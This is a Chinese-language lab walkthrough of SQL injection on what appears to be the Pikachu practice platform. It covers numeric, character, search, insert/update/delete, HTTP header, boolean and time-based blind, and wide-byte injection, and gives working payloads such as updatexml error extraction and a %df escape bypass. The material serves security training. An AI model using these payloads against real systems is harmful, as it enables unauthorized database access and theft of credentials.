一、数字型注入
1.先输入一下看看
2.直接抓包，在编号后面加真命题
成功注入爆数据库
二、字符型注入
1.加单引号报错，说明存在注入
2.加上真命题爆出all
三、搜索型注入
1.加单引号报错，直接加真命题
lucy' or 1=1 #
四、xx型注入
1.先试了试a'，发现没有反应，后来在提示里看见了一个反括号，于是加了一个反括号
发现有回显
于是利用联合查询，order为2
2.爆出数据库名字
3.通过数据库名爆出users，从users中爆出账户和密码
五、insert\update注入
1.1.insert注入
测试模块：注册处
令用户名为a’
Payload:
a' or updatexml(1,concat(0x7e,database()),0) or' 
爆出数据库名
2.update注入
先登录进去，然后在修改资料处填写信息抓包
Payload:
a' or updatexml(1,concat(0x7e,database()),0) or' 
成功
六、delete注入
1.先留言，点击删除时抓包
2.修改payload
成功
七、http header注入
1.抓包，对UA头修改
将payload构造
1' or updatexml (1,concat(0x7e,datebase()),0) or '
八、盲注(base on boolian)
1.只有输入kobe' and 1=1 # 才有反应
2.利用and构造
kobe' and ascii(substr(database(),1,1))=112#
九、盲注(base on time)
1.kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
急速返回，说明首字母不是a
根据时间的延迟来做判断
用 if 做判断，通过 database 把数据库名称取出来，通过 substr 把数据库第一个字符取出来，和 p 作比较，如果等于p 则暂停5秒钟。
暂定了五秒才输出结果
十、宽字节注入
当我们输入有单引号时被转义为\’，无法构造 SQL 语句的时候，可以尝试宽字节注入。
GBK编码中，反斜杠的编码是 “%5c”，而 “%df%5c” 是繁体字 “連”。
在皮卡丘平台中，将利用 BurpSuite 截获数据包，发送到 Repeater 中，在里面写入 payload
当我们用通常的测试 payload时，是无法执行成功的
因为在后台单引号会被转义，在数据库中执行时多了个反斜杠。我们可以用下面的payload，在单引号前面加上 %df，让单引号成功逃逸
kobe%df' or 1=1#
